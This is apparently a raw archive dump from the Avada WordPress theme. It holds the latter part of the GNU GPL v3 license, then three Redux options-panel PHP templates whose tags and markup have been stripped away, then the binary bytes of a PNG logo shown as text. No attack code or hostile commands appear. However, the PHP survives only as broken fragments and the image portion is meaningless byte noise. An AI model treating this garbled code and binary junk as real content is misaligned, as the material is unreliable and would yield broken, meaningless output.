include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= The source code for any program binaries or compressed scripts that are included with FusionReduxFramework can be freely obtained at the following URL: https://github.com/FusionReduxFramework/FusionReduxFramework Avada/includes/lib/inc/redux/panel_templates/header_stickybar.tpl.php000064400000003627152342437710022043 0ustar00
    parent->args['hide_expand'] ? ' style="display: none;"' : '' ?>>
    parent->args['hide_save'] ) { submit_button( esc_html__( 'Save Changes', 'Avada' ), 'primary', 'fusionredux_save', false ); } if ( false === $this->parent->args['hide_reset'] ) { submit_button( esc_html__( 'Reset Section', 'Avada' ), 'secondary', $this->parent->args['opt_name'] . '[defaults-section]', false, array( 'id' => 'fusionredux-defaults-section' ) ); submit_button( esc_html__( 'Reset All', 'Avada' ), 'secondary', $this->parent->args['opt_name'] . '[defaults]', false, array( 'id' => 'fusionredux-defaults' ) ); } ?>
     
    notification_bar(); ?>
    Avada/includes/lib/inc/redux/panel_templates/menu_container.tpl.php000064400000003271152342437710021541 0ustar00

    parent->args['display_name'] ); ?> parent->args['display_version'] ); ?>

      parent->sections as $k => $section ) { $title = isset ( $section[ 'title' ] ) ? $section[ 'title' ] : ''; $skip_sec = false; foreach ( $this->parent->hidden_perm_sections as $num => $section_title ) { if ( $section_title == $title ) { $skip_sec = true; } } if ( isset ( $section[ 'customizer_only' ] ) && $section[ 'customizer_only' ] == true ) { continue; } if ( false == $skip_sec ) { echo $this->parent->section_menu ( $k, $section ); $skip_sec = false; } } /** * action 'fusionredux-page-after-sections-menu-{opt_name}' * * @param FusionReduxFramework $object */ do_action ( "fusionredux-page-after-sections-menu-{$this->parent->args[ 'opt_name' ]}", $this ); /** * action 'fusionredux/page/{opt_name}/menu/after' * * @param FusionReduxFramework $object */ do_action ( "fusionredux/page/{$this->parent->args[ 'opt_name' ]}/menu/after", $this ); ?>
    Avada/includes/lib/inc/redux/panel_templates/header.tpl.php000064400000000672152342437710017765 0ustar00parent->args['open_expanded'] ) ? ' fully-expanded' : '' . ( ! empty( $this->parent->args['class'] ) ? ' ' . esc_attr( $this->parent->args['class'] ) : '' ); $nonce = wp_create_nonce( "fusionredux_ajax_nonce" . $this->parent->args['opt_name'] ); ?>
    parent->args['database'] == "network" && $this->parent->args['network_admin'] && is_network_admin() ? './edit.php?action=fusionredux_' . $this->parent->args['opt_name'] : './options.php' ) ?>
    parent->args['opt_name'] is sanitized in the Framework class, no need to re-sanitize it. ?> parent->args['opt_name'] is sanitized in the Framework class, no need to re-sanitize it. ?> parent->args['opt_name'] is sanitized in the Framework class, no need to re-sanitize it. ?> parent->no_panel ) ) { ?> init_settings_fields(); // Last tab? $this->parent->options['last_tab'] = ( isset( $_GET['tab'] ) && ! isset( $this->parent->transients['last_save_mode'] ) ) ? $_GET['tab'] : ''; ?> parent->args['opt_name'] is sanitized in the Framework class, no need to re-sanitize it. ?> get_template( 'content.tpl.php' ); ?>
    parent->args['footer_text'] ) ) { ?> Avada/includes/lib/inc/redux/assets/themefusion_logo_white.png000064400000061115152342437710020626 0ustar00PNG  IHDR|RriCCPsRGB IEC61966-2.1(uKBQ?ZaaCA4DFYHmeaZ-Zhi- Z%u J{?{9sJ+u2ټ ]x(:HS~o߿ XڅU /mUJ*Ϧ [͜Nm58#v%8JJ 3R{m+ćź>\Ե9\Eh"ݚHt:6usxG0 _g@k]] IDATxymUyw@4b4* **ؠ Js&1榩*Im*1$7Mݛ܀" [zEZ;?ܜfsv3cg?& s 8{w5&H$I$I$I$I$I$I$I$I$I$I$Iq`DIDSz-'K I}['//H)=PfUx%i "@fc$I8J"LX{%@멺X{%0^IZEVI Y$ix%iXu'<^µ$I +IcTu'+IS+I\u'JҔ8JR#"N;W:+I@DGUwȵ-I3ρWҠX{%p՝+I-s48M=ثZ+I-q4(VI^IГ;WW̋ҏ;Ƀ{YHR8JYM= xQ鵴*rB$/x%ͤX{%ix%͔X{%ix%͌X{%i=x%$^IWR5U8`k)o^$āWR/Yujtk$ezǪ I)}B$4^IO%-ƪ(QEq pWҐ9Jꅈ8|CmUw5p!p p`E=WҠ9JZUVmsED< x7SEW 9JVRJ!pp8^I*΁WRu{kIUwv|Ug4҃{aJiBk/Z{%4^IU;ID<{zJ .8J*^< {u\u'ijjI)}B$m;IDBh-&yoWpTDDWw$yoW:+i*vQu'JRx%MMU1֞Y՝G6_^IjꞒRBzP{OO)Sz!X:NUUw{A )^$-N4Ud`k;IZ^k^p:n;^Im{uk7O`Nb핤q n{X{?RJH8'{^D3ȵwK[j+iɬeX{%iqx%-Z));J/k^IZ^IbխKr VݺY{%i2^IFUCD r魵~, 4<&Sji)^p4Uߚ;w˙+ix%=AD<\uw/1;k3 /eoZ{%uʁW㬺Ga4@j7f]&kr,"0wƅ3UއZ{%ʁW(5wk+U~U{=K)[H?^i@zPuOI)Yz!C;X{|+i9xh V]=IjY)/^~rfUWуJ/DR8J3U|n}X{%^iYuՆkw{{ˁW!V]+i8J3ª.5wK+ixk!1Xuաޏ.-IqzJewKkqzȪҚzh*+LDlKޫkUq#$g]X#ޟ^x>J[UwP{/b$+@SuW/(1n$pW酔[_|.@bT+^b=rՍwN)]YvU4u>LZ{aq*UyսWwUDcˁ3^Iup*cխ߼;+REu[O՝ rUկ^^ix 4UPXu;wm=بr{8WMRaVݺE ,Nr%yr}:yoowk4cxBzRu/r񊈃XZ՝~+Zf40^k9JꞒRQ酔r՝ڛk*๥2{{Rz!ρW"n:<@Oᱪd4 ҔDvXuT <{yoW)^c#U)eW$O`lr՝ڛVJjԡv-1~HVV2UwkoZ+u)U&յV("^K٪;7 :k93$2nݚ{kYko^^'x |vE;)J/krZ`խ[Ϫ$W[{L)]z!́WZ<x V*N yokk?sG'9X{8JKdխیTI"BJg*+-U~M=شZ:d|~?R-xEwKVhƫ$^kp[TIs gT*ɁWZTSRJ?.R"以 Nb?+i4U~q0!VI$ )egX{%+TUKeɕȪk]s򹽃9ɁWQyzA!<|$ )wjҔ8JkU7Wݓ^G;^8Y{ʁW移Wq] \|*:"6$+ɬu^KrՠY}փ{JJCD<|RB2{ $n{I3Wu/L)U^{A>kWӃs:VIڻ عU-;s8j0WXu/ ՝Xu'AHJkRJY r DfխPUWI*${K/؎Sk=5 ȁW3UC.7WX{â$޺53+ ^ͬTSSJw^H)M=سZƸw "IKnPS{O^Pz-cX{Eri aV)"^ :EmVI{$p޷]͓< |fȿKrLmUw؅\{1^koĶ+5߷^ix5zPu0c]؀[!ko꽦xn᥌cՍ؆\u(1n&LN҃{zJ )+z0yUתhMۻA )^H)= w4zבOJ/TSRJw^T^{%Z{9W[w!s{Rx+qêk픵n\zRIꕈx-p\uR}$pq$=K)}BJR"6,ǬVݩJ)>WS_ Xbm^~!"Eح$5,J UWoê[DS{ _koe*^ WZU MHݥ슞ڻ^Kk W އwKUת[k/'9 씨^ WZ?nUwk&WI*b #{{k9fW2kե CD r魵~lGd^ WϪ[=%tgԦk'Gľs{^zAfʰWPx_u5wnOg]:SYj,Z'ߑȪ[gu 4/ .k'aת;#wno>W+ ފ TFD8cv#+vn psM^?".I+ Uwؚ{aU{7+e^i@Փ ^i *7=vНywK pRS{?h해TҌkN`88N`x|'0R="8|noM{kY)/^5Uw[鵌q#y]lΝP[=KۇRJ?+ I+͠TXuRoH]{l해5ԂؖWƪ{yUr͋OPck해N ͈C?aQ8KJ/s$=ȵ"n^iXu%ksz'{u/mgM{{jSJ^J"4Uwk ?*k^]<슞`$kǹWy{ukvlku}UHWjғ;$ M}5VݳxՍK{݁?Jf*Wy!!['{Ee) /k{I.'J+U9Pyy以 88جv*rRJwF_D]3ܥ ҐwUnUw%>k/G7n ^i x |ve,"^ڪ;qq!OKCP/iЬukI$ɵNWywK1.`_k4x¬[D՝dGS{kj# NDlG^^VݥUIVnJ>^{ 𔲫y.TIOG^Ҩ{6! HāWTSRJ?.RZ+ȵJ#wj;ɵTkҔ4U佺5Vs h5U8`)=~ ^{jja佽5ݰJ3Wʫ佺Vn$sJK5Z{?RIIZ<^CM} U*Pu'5"H)]Qx-E޹jdɁWUn$+}`E%N+I+W݃'0K{FJҋ؇|ߚ]>K#R"b{dꬺ?>8TDꪺlZD@joDlA.^?"`rCHZ<^VN2oZ 3y)GK/F8Jdխ[SuO^Xz-0ת+ix%A=UUw{fJҋY.iq^? pw酔2#Uw-_mj}V]I+-H}+u V]`&$vooojoU|4{xmƫ$~8t_MbՕTM}-ynmUarUMJkUWRi:T^u#Wݟ^H)TW{j+aխ_DWwUw{fJaՕT^ix^᥌cյ.0[yսcՕƁWjXuWq} &7ZF I)}Jmn*7|ngر芞hs5.joD$Wھv xQW\u8JYu/.J)H)xu}Ox~۵⪻|4$^Q`Vݹ{2g鵌q3wRJFUڻӔ׶.TSRJ7^:8Juү;IJsꭽs{{ؿ{ QR=ېNRy xHw}CUNϏUWғ8JYu~x}Uwk6;߼'q>A.'{^6U]V]I +ae$#(p*V]IW>@$͐v^D\MH`ҋNM"?xy8pUwXUwkomîUWҒ9J=ri酔Ryս;ɼڻ ykeqe"U۰N޿[UWR+xXub}8J{8 Uڪ ӥ$kOfՕ ^]V݈Vk=%tg酬H;wת+R;"յZu[Reת=Y+-U7WݓKeI՝d^]<4(iV9JKҥRRU|UI#w'SKEe|Uת;m)#{{X{ qS酔bՕˁWZW݈H6.fNRw p1IUW&^iᬺVݪABJiq" ~gTz!4UwnnmUr8awTS{?C@[*y@D|\UW*WZO`Y酔Ry՝ 8#`MKDl اZưFlJޫkՕ rƳ_u9-">Rb/6/yXu8JOfG՝dK}\{{w鵌aյJqֲNr{D>K7"^nRx; )Uw{9>PzAKT^V]T5^);5tOE0cUwYҋY,n"E#V]RҀh՝d%$^nݚ{kn5UfNҋ[yսkՕWv+j{ͱͪ+4f2UǫI֥"iqxm{u\u'W.Q{#b+r}{n'sUw3 V]xf]}]#⌔zPnݬlpfTU eJӨVݺYu+͘ʫgRJk"a@*'ڗm_ܪ[؋bĪ+^i4Uwkr5kH)= wSW؏jo))[J/Tz-+̀>UqAJ醈[^ ^nݬlszoUw~<"bjoDl @U6Ы;KERwxj[^R=5q-UwuŔbՕÁWTSRJ?ZUZ\ 6~u7/A=%tk酔bՕǁWY4ȵ0`Em>x-"^L~1R[ *Z+ĬWIFjI Ƀ^e4UTg8Jp*7;IJƦM[[ݧ"XC/r"USJ7/j%uWP$M={dozꦔ+ix YumΝPS-m5yUުÅ" T؎\/w-1^u'inp^kUwZưJ8JO)'y8|"UwM#{{_0kUx XuܥmHתkՕRAM}5yUwV{@D\u,yRExB*?$Wj$j*`KU7bs 5Vݻ???(I4eVhjol^.g)I#x)NWS{kUx॥2UW4M} SRǵw5niV[u?OޫkՕ*+u̪[^UWR xEkscp՝'תUWR{xnW'^ҨߎM) WZ\`V\u Pz-cUW/^iJ'ہW^<{Di)kK/ӭsU”Қ)<^+MQS{OkjW{y#{{V])q H)}[-M=8vkU}wQo='hHjTHOj׀ ?R{eWSSJח^v9JU^{vSJ,RJ]j] \@>aU`ecՕfTy$i4jk7^{WkյJ*́WHS{xڻ`c=Wת[g,4x4ފ4͹f|\uoj[2Ə>?,I+U*y{{S%:'9X{^.O`JT[{"ޯgZ{9Kh[> IDAT|ԘUΪ#^]4@RT^{_F; SudՕT3^'UWR8J=3R{Nrpz+j"b%Wz-cXu%=c#꫽s'9\Sz1jUWR9J=3Fjﶅ4jK7#)K/HKӃ{JJ T'^iFܥګVE~aƪ!pf^=خFˀ3ݩE[UWR+xwáU{vvê+ihxl (!Ν`aV 4 +J/@EĮQJJ#W?")>S߰!!ͪ”+"^ /g7s;ڻHM=]n,R"b+;|SJvx}zꕎ9wZAǏSx $WSOW^H횪N`kg y'W7"Nx5x=I4sS 'ۗ^ "bK^CC:jx+Sx|*M} a흧UcSJSuO:Ňu%S@rr}BJA=%tS酔Rr9W sZ{?RBͪ[BUw',i k'9 >| nݚ{pp8jx+ sޢ"Xu/$Pr$%SE/X{;M=ػZưSuG9jx+ sx-^/AUsuuTQڞugl]x)Y{yv(1 K/d{"kê)RBx;2O_z!X{eխ[U7KE4'#i"b/rVڻ׵ת[Tz-cXu9jukj佽53SJM u_αJqY{U2U飵{;8ZưJqx Z$! Y{CmAˬuJ+=V)"M[c1}Eq;y-RJUn Z!^ixe鵌aĪ DċɷnꞝRzZ+M{k62ƿV[{KԪ[o=5 WZkɵ;RJS{^r.Rs[7k/))[K/Ix֭ojUǫV2O'`Օ qe"ޝ /eZưJpC)o^H)k V]I+-CS{OVz-cX{gZu뮺?&o/Jqo^Uz-cX{g&յ[u?kՕ+$"v'~, )תkՕ R"bcڛkQZux nYz-UsRJ^j{Bfn=V݈ZuOM)]_z!ρWHji)o^H)^.V]IIX9ޯOrz]\z-XuKKe S4w$~!~ʪ[m,C=J3[x&yo4k{*=~Xz!΁WB}?\{kŪ+i:j{#"v#mKeOrE酔k3:U#^]4#xu {{۪V] "N+iJj{U^kjU7Ww^V]i9JA=-tm酔޹,ot>J*'Ui"sak_>b]pZu%UWn v>~8Ϫ+ CmOFX{6BYTzPuOI)Pz!ǁW\S{ J}?Yz!Yu9XYz-XuS޺EFCj+H^ޡ^?#{”+nWz-c|8sȵw("b rݿZưJzSIRϲwYu%ImOګiE>Wת+ 